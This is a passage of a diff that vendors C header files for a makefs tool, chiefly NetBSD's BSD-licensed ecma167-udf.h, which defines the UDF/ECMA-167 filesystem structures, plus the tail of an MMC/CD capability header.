#define MMC_CAP_MRW (1 << 6) /* Mount Rainier formatted */
|
||||
#define MMC_CAP_PACKET (1 << 7) /* using packet recording */
|
||||
#define MMC_CAP_STRICTOVERWRITE (1 << 8) /* only writes a packet at a time */
|
||||
#define MMC_CAP_PSEUDOOVERWRITE (1 << 9) /* overwrite through replacement */
|
||||
#define MMC_CAP_ZEROLINKBLK (1 << 10) /* zero link block length capable */
|
||||
#define MMC_CAP_HW_DEFECTFREE (1 << 11) /* hardware defect management */
|
||||
|
||||
#define MMC_CAP_FLAGBITS \
|
||||
"\10\1SEQUENTIAL\2RECORDABLE\3ERASABLE\4BLANKABLE\5FORMATTABLE" \
|
||||
"\6REWRITABLE\7MRW\10PACKET\11STRICTOVERWRITE\12PSEUDOOVERWRITE" \
|
||||
"\13ZEROLINKBLK\14HW_DEFECTFREE"
|
||||
|
||||
#define MMC_STATE_EMPTY 0
|
||||
#define MMC_STATE_INCOMPLETE 1
|
||||
#define MMC_STATE_FULL 2
|
||||
#define MMC_STATE_CLOSED 3
|
||||
|
||||
#define MMC_BGFSTATE_UNFORM 0
|
||||
#define MMC_BGFSTATE_STOPPED 1
|
||||
#define MMC_BGFSTATE_RUNNING 2
|
||||
#define MMC_BGFSTATE_COMPLETED 3
|
||||
|
||||
|
||||
struct mmc_trackinfo {
|
||||
uint16_t tracknr; /* IN/OUT */
|
||||
uint16_t sessionnr;
|
||||
|
||||
uint8_t track_mode;
|
||||
uint8_t data_mode;
|
||||
|
||||
uint16_t flags;
|
||||
|
||||
uint32_t track_start;
|
||||
uint32_t next_writable;
|
||||
uint32_t free_blocks;
|
||||
uint32_t packet_size;
|
||||
uint32_t track_size;
|
||||
uint32_t last_recorded;
|
||||
};
|
||||
#define MMCGETTRACKINFO _IOWR('c', 29, struct mmc_trackinfo)
|
||||
|
||||
#define MMC_TRACKINFO_COPY (1 << 0)
|
||||
#define MMC_TRACKINFO_DAMAGED (1 << 1)
|
||||
#define MMC_TRACKINFO_FIXED_PACKET (1 << 2)
|
||||
#define MMC_TRACKINFO_INCREMENTAL (1 << 3)
|
||||
#define MMC_TRACKINFO_BLANK (1 << 4)
|
||||
#define MMC_TRACKINFO_RESERVED (1 << 5)
|
||||
#define MMC_TRACKINFO_NWA_VALID (1 << 6)
|
||||
#define MMC_TRACKINFO_LRA_VALID (1 << 7)
|
||||
#define MMC_TRACKINFO_DATA (1 << 8)
|
||||
#define MMC_TRACKINFO_AUDIO (1 << 9)
|
||||
#define MMC_TRACKINFO_AUDIO_4CHAN (1 << 10)
|
||||
#define MMC_TRACKINFO_PRE_EMPH (1 << 11)
|
||||
|
||||
#define MMC_TRACKINFO_FLAGBITS \
|
||||
"\10\1COPY\2DAMAGED\3FIXEDPACKET\4INCREMENTAL\5BLANK" \
|
||||
"\6RESERVED\7NWA_VALID\10LRA_VALID\11DATA\12AUDIO" \
|
||||
"\13AUDIO_4CHAN\14PRE_EMPH"
|
||||
|
||||
#endif /* _CDIO_MMC_EMU_H_ */
|
||||
|
||||
840
thirdparty/makefs/udf/ecma167-udf.h
vendored
Normal file
840
thirdparty/makefs/udf/ecma167-udf.h
vendored
Normal file
@@ -0,0 +1,840 @@
|
||||
/* $NetBSD: ecma167-udf.h,v 1.17 2022/03/18 16:06:18 reinoud Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2003, 2004, 2005, 2006, 2008, 2009, 2017, 2018
|
||||
* Reinoud Zandijk <reinoud@NetBSD.org>
|
||||
* Copyright (c) 2001, 2002 Scott Long <scottl@freebsd.org>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
*
|
||||
* Extended and adapted for UDFv2.50+ bij Reinoud Zandijk based on the
|
||||
* original by Scott Long.
|
||||
*
|
||||
* 20030508 Made some small typo and explanatory comments
|
||||
* 20030510 Added UDF 2.01 structures
|
||||
* 20030519 Added/correct comments on multi-partitioned logical volume space
|
||||
* 20050616 Added pseudo overwrite
|
||||
* 20050624 Added the missing extended attribute types and `magic values'.
|
||||
* 20051106 Reworked some implementation use parts
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
#ifndef _FS_UDF_ECMA167_UDF_H_
|
||||
#define _FS_UDF_ECMA167_UDF_H_
|
||||
|
||||
|
||||
/*
|
||||
* in case of an older gcc versions, define the __packed as explicit
|
||||
* attribute
|
||||
*/
|
||||
|
||||
/*
|
||||
* You may specify the `aligned' and `transparent_union' attributes either in
|
||||
* a `typedef' declaration or just past the closing curly brace of a complete
|
||||
* enum, struct or union type _definition_ and the `packed' attribute only
|
||||
* past the closing brace of a definition. You may also specify attributes
|
||||
* between the enum, struct or union tag and the name of the type rather than
|
||||
* after the closing brace.
|
||||
*/
|
||||
|
||||
#ifndef __packed
|
||||
#define __packed __attribute__((packed))
|
||||
#endif
|
||||
|
||||
|
||||
/* ecma167-udf.h */
|
||||
|
||||
/* Volume recognition sequence ECMA 167 rev. 3 16.1 */
|
||||
struct vrs_desc {
|
||||
uint8_t struct_type;
|
||||
uint8_t identifier[5];
|
||||
uint8_t version;
|
||||
uint8_t data[2041];
|
||||
} __packed;
|
||||
|
||||
|
||||
#define VRS_NSR02 "NSR02"
|
||||
#define VRS_NSR03 "NSR03"
|
||||
#define VRS_BEA01 "BEA01"
|
||||
#define VRS_TEA01 "TEA01"
|
||||
#define VRS_CD001 "CD001"
|
||||
#define VRS_CDW02 "CDW02"
|
||||
|
||||
|
||||
/* Structure/definitions/constants a la ECMA 167 rev. 3 */
|
||||
|
||||
|
||||
#define MAX_TAGID_VOLUMES 9
|
||||
/* Tag identifiers */
|
||||
enum {
|
||||
TAGID_SPARING_TABLE = 0,
|
||||
TAGID_PRI_VOL = 1,
|
||||
TAGID_ANCHOR = 2,
|
||||
TAGID_VOL = 3,
|
||||
TAGID_IMP_VOL = 4,
|
||||
TAGID_PARTITION = 5,
|
||||
TAGID_LOGVOL = 6,
|
||||
TAGID_UNALLOC_SPACE = 7,
|
||||
TAGID_TERM = 8,
|
||||
TAGID_LOGVOL_INTEGRITY= 9,
|
||||
TAGID_FSD = 256,
|
||||
TAGID_FID = 257,
|
||||
TAGID_ALLOCEXTENT = 258,
|
||||
TAGID_INDIRECTENTRY = 259,
|
||||
TAGID_ICB_TERM = 260,
|
||||
TAGID_FENTRY = 261,
|
||||
TAGID_EXTATTR_HDR = 262,
|
||||
TAGID_UNALL_SP_ENTRY = 263,
|
||||
TAGID_SPACE_BITMAP = 264,
|
||||
TAGID_PART_INTEGRITY = 265,
|
||||
TAGID_EXTFENTRY = 266,
|
||||
TAGID_MAX = 266
|
||||
};
|
||||
|
||||
|
||||
enum {
|
||||
UDF_DOMAIN_FLAG_HARD_WRITE_PROTECT = 1,
|
||||
UDF_DOMAIN_FLAG_SOFT_WRITE_PROTECT = 2
|
||||
};
|
||||
|
||||
|
||||
enum {
|
||||
UDF_ACCESSTYPE_NOT_SPECIFIED = 0, /* unknown */
|
||||
UDF_ACCESSTYPE_PSEUDO_OVERWITE = 0, /* pseudo overwritable, e.g. BD-R's LOW */
|
||||
UDF_ACCESSTYPE_READ_ONLY = 1, /* really only readable */
|
||||
UDF_ACCESSTYPE_WRITE_ONCE = 2, /* write once and you're done */
|
||||
UDF_ACCESSTYPE_REWRITEABLE = 3, /* may need extra work to rewrite */
|
||||
UDF_ACCESSTYPE_OVERWRITABLE = 4 /* no limits on rewriting; e.g. harddisc*/
|
||||
};
|
||||
|
||||
|
||||
/* Descriptor tag [3/7.2] */
|
||||
struct desc_tag {
|
||||
uint16_t id;
|
||||
uint16_t descriptor_ver;
|
||||
uint8_t cksum;
|
||||
uint8_t reserved;
|
||||
uint16_t serial_num;
|
||||
uint16_t desc_crc;
|
||||
uint16_t desc_crc_len;
|
||||
uint32_t tag_loc;
|
||||
} __packed;
|
||||
#define UDF_DESC_TAG_LENGTH 16
|
||||
|
||||
|
||||
/* Recorded Address [4/7.1] */
|
||||
struct lb_addr { /* within partition space */
|
||||
uint32_t lb_num;
|
||||
uint16_t part_num;
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Extent Descriptor [3/7.1] */
|
||||
struct extent_ad {
|
||||
uint32_t len;
|
||||
uint32_t loc;
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Short Allocation Descriptor [4/14.14.1] */
|
||||
struct short_ad {
|
||||
uint32_t len;
|
||||
uint32_t lb_num;
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Long Allocation Descriptor [4/14.14.2] */
|
||||
struct UDF_ADImp_use {
|
||||
uint16_t flags;
|
||||
uint32_t unique_id;
|
||||
} __packed;
|
||||
#define UDF_ADIMP_FLAGS_EXTENT_ERASED 1
|
||||
|
||||
|
||||
struct long_ad {
|
||||
uint32_t len;
|
||||
struct lb_addr loc; /* within a logical volume mapped partition space !! */
|
||||
union {
|
||||
uint8_t bytes[6];
|
||||
struct UDF_ADImp_use im_used;
|
||||
} impl;
|
||||
} __packed;
|
||||
#define longad_uniqueid impl.im_used.unique_id
|
||||
|
||||
|
||||
/* Extended Allocation Descriptor [4/14.14.3] ; identifies an extent of allocation descriptors ; also in UDF ? */
|
||||
struct ext_ad {
|
||||
uint32_t ex_len;
|
||||
uint32_t rec_len;
|
||||
uint32_t inf_len;
|
||||
struct lb_addr ex_loc;
|
||||
uint8_t reserved[2];
|
||||
} __packed;
|
||||
|
||||
|
||||
/* ICB : Information Control Block; positioning */
|
||||
union icb {
|
||||
struct short_ad s_ad;
|
||||
struct long_ad l_ad;
|
||||
struct ext_ad e_ad;
|
||||
};
|
||||
|
||||
|
||||
/* short/long/ext extent have flags encoded in length */
|
||||
#define UDF_EXT_ALLOCATED (0U<<30)
|
||||
#define UDF_EXT_FREED (1U<<30)
|
||||
#define UDF_EXT_ALLOCATED_BUT_NOT_USED (1U<<30)
|
||||
#define UDF_EXT_FREE (2U<<30)
|
||||
#define UDF_EXT_REDIRECT (3U<<30)
|
||||
#define UDF_EXT_FLAGS(len) ((len) & (3U<<30))
|
||||
#define UDF_EXT_LEN(len) ((len) & ((1U<<30)-1))
|
||||
#define UDF_EXT_MAXLEN ((1U<<30)-1)
|
||||
|
||||
|
||||
/* Character set spec [1/7.2.1] */
|
||||
struct charspec {
|
||||
uint8_t type;
|
||||
uint8_t inf[63];
|
||||
} __packed;
|
||||
|
||||
|
||||
struct pathcomp {
|
||||
uint8_t type;
|
||||
uint8_t l_ci;
|
||||
uint16_t comp_filever;
|
||||
uint8_t ident[256];
|
||||
} __packed;
|
||||
#define UDF_PATH_COMP_SIZE 4
|
||||
#define UDF_PATH_COMP_RESERVED 0
|
||||
#define UDF_PATH_COMP_ROOT 1
|
||||
#define UDF_PATH_COMP_MOUNTROOT 2
|
||||
#define UDF_PATH_COMP_PARENTDIR 3
|
||||
#define UDF_PATH_COMP_CURDIR 4
|
||||
#define UDF_PATH_COMP_NAME 5
|
||||
|
||||
|
||||
/* Timestamp [1/7.3] */
|
||||
struct timestamp {
|
||||
uint16_t type_tz;
|
||||
uint16_t year;
|
||||
uint8_t month;
|
||||
uint8_t day;
|
||||
uint8_t hour;
|
||||
uint8_t minute;
|
||||
uint8_t second;
|
||||
uint8_t centisec;
|
||||
uint8_t hund_usec;
|
||||
uint8_t usec;
|
||||
} __packed;
|
||||
#define UDF_TIMESTAMP_SIZE 12
|
||||
|
||||
|
||||
/* Entity Identifier [1/7.4] */
|
||||
#define UDF_REGID_ID_SIZE 23
|
||||
struct regid {
|
||||
uint8_t flags;
|
||||
uint8_t id[UDF_REGID_ID_SIZE];
|
||||
uint8_t id_suffix[8];
|
||||
} __packed;
|
||||
|
||||
|
||||
/* ICB Tag [4/14.6] */
|
||||
struct icb_tag {
|
||||
uint32_t prev_num_dirs;
|
||||
uint16_t strat_type;
|
||||
union {
|
||||
uint8_t strat_param[2];
|
||||
uint16_t strat_param16;
|
||||
};
|
||||
uint16_t max_num_entries;
|
||||
uint8_t reserved;
|
||||
uint8_t file_type;
|
||||
struct lb_addr parent_icb;
|
||||
uint16_t flags;
|
||||
} __packed;
|
||||
#define UDF_ICB_TAG_FLAGS_ALLOC_MASK 0x03
|
||||
#define UDF_ICB_SHORT_ALLOC 0x00
|
||||
#define UDF_ICB_LONG_ALLOC 0x01
|
||||
#define UDF_ICB_EXT_ALLOC 0x02
|
||||
#define UDF_ICB_INTERN_ALLOC 0x03
|
||||
|
||||
#define UDF_ICB_TAG_FLAGS_DIRORDERED (1<< 3)
|
||||
#define UDF_ICB_TAG_FLAGS_NONRELOC (1<< 4)
|
||||
#define UDF_ICB_TAG_FLAGS_CONTIGUES (1<< 9)
|
||||
#define UDF_ICB_TAG_FLAGS_MULTIPLEVERS (1<<12)
|
||||
|
||||
#define UDF_ICB_TAG_FLAGS_SETUID (1<< 6)
|
||||
#define UDF_ICB_TAG_FLAGS_SETGID (1<< 7)
|
||||
#define UDF_ICB_TAG_FLAGS_STICKY (1<< 8)
|
||||
|
||||
#define UDF_ICB_FILETYPE_UNKNOWN 0
|
||||
#define UDF_ICB_FILETYPE_UNALLOCSPACE 1
|
||||
#define UDF_ICB_FILETYPE_PARTINTEGRITY 2
|
||||
#define UDF_ICB_FILETYPE_INDIRECTENTRY 3
|
||||
#define UDF_ICB_FILETYPE_DIRECTORY 4
|
||||
#define UDF_ICB_FILETYPE_RANDOMACCESS 5
|
||||
#define UDF_ICB_FILETYPE_BLOCKDEVICE 6
|
||||
#define UDF_ICB_FILETYPE_CHARDEVICE 7
|
||||
#define UDF_ICB_FILETYPE_EXTATTRREC 8
|
||||
#define UDF_ICB_FILETYPE_FIFO 9
|
||||
#define UDF_ICB_FILETYPE_SOCKET 10
|
||||
#define UDF_ICB_FILETYPE_TERM 11
|
||||
#define UDF_ICB_FILETYPE_SYMLINK 12
|
||||
#define UDF_ICB_FILETYPE_STREAMDIR 13
|
||||
#define UDF_ICB_FILETYPE_VAT 248
|
||||
#define UDF_ICB_FILETYPE_REALTIME 249
|
||||
#define UDF_ICB_FILETYPE_META_MAIN 250
|
||||
#define UDF_ICB_FILETYPE_META_MIRROR 251
|
||||
#define UDF_ICB_FILETYPE_META_BITMAP 252
|
||||
|
||||
|
||||
/* Anchor Volume Descriptor Pointer [3/10.2] */
|
||||
struct anchor_vdp {
|
||||
struct desc_tag tag;
|
||||
struct extent_ad main_vds_ex; /* to main volume descriptor set ; 16 sectors min */
|
||||
struct extent_ad reserve_vds_ex; /* copy of main volume descriptor set ; 16 sectors min */
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Volume Descriptor Pointer [3/10.3] */
|
||||
struct vol_desc_ptr {
|
||||
struct desc_tag tag; /* use for extending the volume descriptor space */
|
||||
uint32_t vds_number;
|
||||
struct extent_ad next_vds_ex; /* points to the next block for volume descriptor space */
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Primary Volume Descriptor [3/10.1] */
|
||||
struct pri_vol_desc {
|
||||
struct desc_tag tag;
|
||||
uint32_t seq_num; /* MAX prevail */
|
||||
uint32_t pvd_num; /* assigned by author; 0 is special as in it may only occur once */
|
||||
char vol_id[32]; /* KEY ; main identifier of this disc */
|
||||
uint16_t vds_num; /* volume descriptor number; i.e. what volume number is it */
|
||||
uint16_t max_vol_seq; /* maximum volume descriptor number known */
|
||||
uint16_t ichg_lvl;
|
||||
uint16_t max_ichg_lvl;
|
||||
uint32_t charset_list;
|
||||
uint32_t max_charset_list;
|
||||
char volset_id[128]; /* KEY ; if part of a multi-disc set or a band of volumes */
|
||||
struct charspec desc_charset; /* KEY according to ECMA 167 */
|
||||
struct charspec explanatory_charset;
|
||||
struct extent_ad vol_abstract;
|
||||
struct extent_ad vol_copyright;
|
||||
struct regid app_id;
|
||||
struct timestamp time;
|
||||
struct regid imp_id;
|
||||
uint8_t imp_use[64];
|
||||
uint32_t prev_vds_loc; /* location of predecessor _lov ? */
|
||||
uint16_t flags; /* bit 0 : if set indicates volume set name is meaningful */
|
||||
uint8_t reserved[22];
|
||||
} __packed;
|
||||
|
||||
|
||||
/* UDF specific implementation use part of the implementation use volume descriptor */
|
||||
struct udf_lv_info {
|
||||
struct charspec lvi_charset;
|
||||
char logvol_id[128];
|
||||
|
||||
char lvinfo1[36];
|
||||
char lvinfo2[36];
|
||||
char lvinfo3[36];
|
||||
|
||||
struct regid impl_id;
|
||||
uint8_t impl_use[128];
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Implementation use Volume Descriptor */
|
||||
struct impvol_desc {
|
||||
struct desc_tag tag;
|
||||
uint32_t seq_num;
|
||||
struct regid impl_id;
|
||||
union {
|
||||
struct udf_lv_info lv_info;
|
||||
char impl_use[460];
|
||||
} _impl_use;
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Logical Volume Descriptor [3/10.6] */
|
||||
struct logvol_desc {
|
||||
struct desc_tag tag;
|
||||
uint32_t seq_num; /* MAX prevail */
|
||||
struct charspec desc_charset; /* KEY */
|
||||
char logvol_id[128]; /* KEY */
|
||||
uint32_t lb_size;
|
||||
struct regid domain_id;
|
||||
union {
|
||||
struct long_ad fsd_loc; /* to fileset descriptor SEQUENCE */
|
||||
uint8_t logvol_content_use[16];
|
||||
} _lvd_use;
|
||||
uint32_t mt_l; /* Partition map length */
|
||||
uint32_t n_pm; /* Number of partition maps */
|
||||
struct regid imp_id;
|
||||
uint8_t imp_use[128];
|
||||
struct extent_ad integrity_seq_loc;
|
||||
uint8_t maps[1];
|
||||
} __packed;
|
||||
#define lv_fsd_loc _lvd_use.fsd_loc
|
||||
|
||||
#define UDF_INTEGRITY_OPEN 0
|
||||
#define UDF_INTEGRITY_CLOSED 1
|
||||
|
||||
|
||||
#define UDF_PMAP_SIZE 64
|
||||
|
||||
/* Type 1 Partition Map [3/10.7.2] */
|
||||
struct part_map_1 {
|
||||
uint8_t type;
|
||||
uint8_t len;
|
||||
uint16_t vol_seq_num;
|
||||
uint16_t part_num;
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Type 2 Partition Map [3/10.7.3] */
|
||||
struct part_map_2 {
|
||||
uint8_t type;
|
||||
uint8_t len;
|
||||
uint8_t reserved[2];
|
||||
struct regid part_id;
|
||||
uint16_t vol_seq_num;
|
||||
uint16_t part_num;
|
||||
uint8_t reserved2[24];
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Virtual Partition Map [UDF 2.01/2.2.8] */
|
||||
struct part_map_virt {
|
||||
uint8_t type;
|
||||
uint8_t len;
|
||||
uint8_t reserved[2];
|
||||
struct regid id;
|
||||
uint16_t vol_seq_num;
|
||||
uint16_t part_num;
|
||||
uint8_t reserved1[24];
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Sparable Partition Map [UDF 2.01/2.2.9] */
|
||||
struct part_map_spare {
|
||||
uint8_t type;
|
||||
uint8_t len;
|
||||
uint8_t reserved[2];
|
||||
struct regid id;
|
||||
uint16_t vol_seq_num;
|
||||
uint16_t part_num;
|
||||
uint16_t packet_len;
|
||||
uint8_t n_st; /* Number of redundant sparing tables range 1-4 */
|
||||
uint8_t reserved1;
|
||||
uint32_t st_size; /* size of EACH sparing table */
|
||||
uint32_t st_loc[1]; /* locations of sparing tables */
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Metadata Partition Map [UDF 2.50/2.2.10] */
|
||||
struct part_map_meta {
|
||||
uint8_t type;
|
||||
uint8_t len;
|
||||
uint8_t reserved[2];
|
||||
struct regid id;
|
||||
uint16_t vol_seq_num;
|
||||
uint16_t part_num;
|
||||
uint32_t meta_file_lbn; /* logical block number for file entry within part_num */
|
||||
uint32_t meta_mirror_file_lbn;
|
||||
uint32_t meta_bitmap_file_lbn;
|
||||
uint32_t alloc_unit_size; /* allocation unit size in blocks */
|
||||
uint16_t alignment_unit_size; /* alignment necessary in blocks */
|
||||
uint8_t flags;
|
||||
uint8_t reserved1[5];
|
||||
} __packed;
|
||||
#define METADATA_DUPLICATED 1
|
||||
|
||||
|
||||
union udf_pmap {
|
||||
uint8_t data[UDF_PMAP_SIZE];
|
||||
struct part_map_1 pm1;
|
||||
struct part_map_2 pm2;
|
||||
struct part_map_virt pmv;
|
||||
struct part_map_spare pms;
|
||||
struct part_map_meta pmm;
|
||||
};
|
||||
|
||||
|
||||
/* Sparing Map Entry [UDF 2.01/2.2.11] */
|
||||
struct spare_map_entry {
|
||||
uint32_t org; /* partition relative address */
|
||||
uint32_t map; /* absolute disc address (!) can be in partition, but doesn't have to be */
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Sparing Table [UDF 2.01/2.2.11] */
|
||||
struct udf_sparing_table {
|
||||
struct desc_tag tag;
|
||||
struct regid id;
|
||||
uint16_t rt_l; /* Relocation Table len */
|
||||
uint8_t reserved[2];
|
||||
uint32_t seq_num;
|
||||
struct spare_map_entry entries[1];
|
||||
} __packed;
|
||||
|
||||
|
||||
#define UDF_NO_PREV_VAT 0xffffffff
|
||||
/* UDF 1.50 VAT suffix [UDF 2.2.10 (UDF 1.50 spec)] */
|
||||
struct udf_oldvat_tail {
|
||||
struct regid id; /* "*UDF Virtual Alloc Tbl" */
|
||||
uint32_t prev_vat;
|
||||
} __packed;
|
||||
|
||||
|
||||
/* VAT table [UDF 2.0.1/2.2.10] */
|
||||
struct udf_vat {
|
||||
uint16_t header_len;
|
||||
uint16_t impl_use_len;
|
||||
char logvol_id[128]; /* newer version of the LVD one */
|
||||
uint32_t prev_vat;
|
||||
uint32_t num_files;
|
||||
uint32_t num_directories;
|
||||
uint16_t min_udf_readver;
|
||||
uint16_t min_udf_writever;
|
||||
uint16_t max_udf_writever;
|
||||
uint16_t reserved;
|
||||
uint8_t data[1]; /* impl.use followed by VAT entries (uint32_t) */
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Space bitmap descriptor as found in the partition header descriptor */
|
||||
struct space_bitmap_desc {
|
||||
struct desc_tag tag; /* TagId 264 */
|
||||
uint32_t num_bits; /* number of bits */
|
||||
uint32_t num_bytes; /* bytes that contain it */
|
||||
uint8_t data[1];
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Unalloc space entry as found in the partition header descriptor */
|
||||
struct space_entry_desc {
|
||||
struct desc_tag tag; /* TagId 263 */
|
||||
struct icb_tag icbtag; /* type 1 */
|
||||
uint32_t l_ad; /* in bytes */
|
||||
uint8_t entry[1];
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Partition header descriptor; in the contents_use of part_desc */
|
||||
struct part_hdr_desc {
|
||||
struct short_ad unalloc_space_table;
|
||||
struct short_ad unalloc_space_bitmap;
|
||||
struct short_ad part_integrity_table; /* has to be ZERO for UDF */
|
||||
struct short_ad freed_space_table;
|
||||
struct short_ad freed_space_bitmap;
|
||||
uint8_t reserved[88];
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Partition Descriptor [3/10.5] */
|
||||
struct part_desc {
|
||||
struct desc_tag tag;
|
||||
uint32_t seq_num; /* MAX prevailing */
|
||||
uint16_t flags; /* bit 0 : if set the space is allocated */
|
||||
uint16_t part_num; /* KEY */
|
||||
struct regid contents;
|
||||
union {
|
||||
struct part_hdr_desc part_hdr;
|
||||
uint8_t contents_use[128];
|
||||
} _impl_use;
|
||||
uint32_t access_type; /* R/W, WORM etc. */
|
||||
uint32_t start_loc; /* start of partition with given length */
|
||||
uint32_t part_len;
|
||||
struct regid imp_id;
|
||||
uint8_t imp_use[128];
|
||||
uint8_t reserved[156];
|
||||
} __packed;
|
||||
#define pd_part_hdr _impl_use.part_hdr
|
||||
#define UDF_PART_FLAG_ALLOCATED 1
|
||||
|
||||
|
||||
/* Unallocated Space Descriptor (UDF 2.01/2.2.5) */
|
||||
struct unalloc_sp_desc {
|
||||
struct desc_tag tag;
|
||||
uint32_t seq_num; /* MAX prevailing */
|
||||
uint32_t alloc_desc_num;
|
||||
struct extent_ad alloc_desc[1];
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Logical Volume Integrity Descriptor [3/30.10] */
|
||||
struct logvolhdr {
|
||||
uint64_t next_unique_id;
|
||||
/* rest reserved */
|
||||
} __packed;
|
||||
|
||||
|
||||
struct udf_logvol_info {
|
||||
struct regid impl_id;
|
||||
uint32_t num_files;
|
||||
uint32_t num_directories;
|
||||
uint16_t min_udf_readver;
|
||||
uint16_t min_udf_writever;
|
||||
uint16_t max_udf_writever;
|
||||
} __packed;
|
||||
|
||||
|
||||
struct logvol_int_desc {
|
||||
struct desc_tag tag;
|
||||
struct timestamp time;
|
||||
uint32_t integrity_type;
|
||||
struct extent_ad next_extent;
|
||||
union {
|
||||
struct logvolhdr logvolhdr;
|
||||
int8_t reserved[32];
|
||||
} _impl_use;
|
||||
uint32_t num_part;
|
||||
uint32_t l_iu;
|
||||
uint32_t tables[1]; /* Freespace table, Sizetable, Implementation use */
|
||||
} __packed;
|
||||
#define lvint_next_unique_id _impl_use.logvolhdr.next_unique_id
|
||||
|
||||
|
||||
/* File Set Descriptor [4/14.1] */
|
||||
struct fileset_desc {
|
||||
struct desc_tag tag;
|
||||
struct timestamp time;
|
||||
uint16_t ichg_lvl;
|
||||
uint16_t max_ichg_lvl;
|
||||
uint32_t charset_list;
|
||||
uint32_t max_charset_list;
|
||||
uint32_t fileset_num; /* key! */
|
||||
uint32_t fileset_desc_num;
|
||||
struct charspec logvol_id_charset;
|
||||
char logvol_id[128]; /* for recovery */
|
||||
struct charspec fileset_charset;
|
||||
char fileset_id[32]; /* Mountpoint !! */
|
||||
char copyright_file_id[32];
|
||||
char abstract_file_id[32];
|
||||
struct long_ad rootdir_icb; /* to rootdir; icb->virtual ? */
|
||||
struct regid domain_id;
|
||||
struct long_ad next_ex; /* to the next fileset_desc extent */
|
||||
struct long_ad streamdir_icb; /* streamdir; needed? */
|
||||
uint8_t reserved[32];
|
||||
} __packed;
|
||||
|
||||
|
||||
/* File Identifier Descriptor [4/14.4] */
|
||||
struct fileid_desc {
|
||||
struct desc_tag tag;
|
||||
uint16_t file_version_num;
|
||||
uint8_t file_char;
|
||||
uint8_t l_fi; /* Length of file identifier area */
|
||||
struct long_ad icb;
|
||||
uint16_t l_iu; /* Length of implementation use area */
|
||||
uint8_t data[1];
|
||||
} __packed;
|
||||
#define UDF_FID_SIZE 38
|
||||
#define UDF_FILE_CHAR_VIS (1 << 0) /* Invisible */
|
||||
#define UDF_FILE_CHAR_DIR (1 << 1) /* Directory */
|
||||
#define UDF_FILE_CHAR_DEL (1 << 2) /* Deleted */
|
||||
#define UDF_FILE_CHAR_PAR (1 << 3) /* Parent Directory */
|
||||
#define UDF_FILE_CHAR_META (1 << 4) /* Stream metadata */
|
||||
|
||||
|
||||
/* Extended attributes [4/14.10.1] */
|
||||
struct extattrhdr_desc {
|
||||
struct desc_tag tag;
|
||||
uint32_t impl_attr_loc; /* offsets within this descriptor */
|
||||
uint32_t appl_attr_loc; /* ditto */
|
||||
} __packed;
|
||||
#define UDF_IMPL_ATTR_LOC_NOT_PRESENT 0xffffffff
|
||||
#define UDF_APPL_ATTR_LOC_NOT_PRESENT 0xffffffff
|
||||
|
||||
|
||||
/* Extended attribute entry [4/48.10.2] */
|
||||
struct extattr_entry {
|
||||
uint32_t type;
|
||||
uint8_t subtype;
|
||||
uint8_t reserved[3];
|
||||
uint32_t a_l;
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Extended attribute entry; type 2048 [4/48.10.8] */
|
||||
struct impl_extattr_entry {
|
||||
struct extattr_entry hdr;
|
||||
uint32_t iu_l;
|
||||
struct regid imp_id;
|
||||
union {
|
||||
uint8_t data[1];
|
||||
uint16_t data16;
|
||||
};
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Extended attribute entry; type 65 536 [4/48.10.9] */
|
||||
struct appl_extattr_entry {
|
||||
struct extattr_entry hdr;
|
||||
uint32_t au_l;
|
||||
struct regid appl_id;
|
||||
uint8_t data[1];
|
||||
} __packed;
|
||||
|
||||
|
||||
/* File Times attribute entry; type 5 or type 6 [4/48.10.5], [4/48.10.6] */
|
||||
struct filetimes_extattr_entry {
|
||||
struct extattr_entry hdr;
|
||||
uint32_t d_l; /* length of times[] data following */
|
||||
uint32_t existence; /* bitmask */
|
||||
struct timestamp times[1]; /* in order of ascending bits */
|
||||
} __packed;
|
||||
#define UDF_FILETIMES_ATTR_NO 5
|
||||
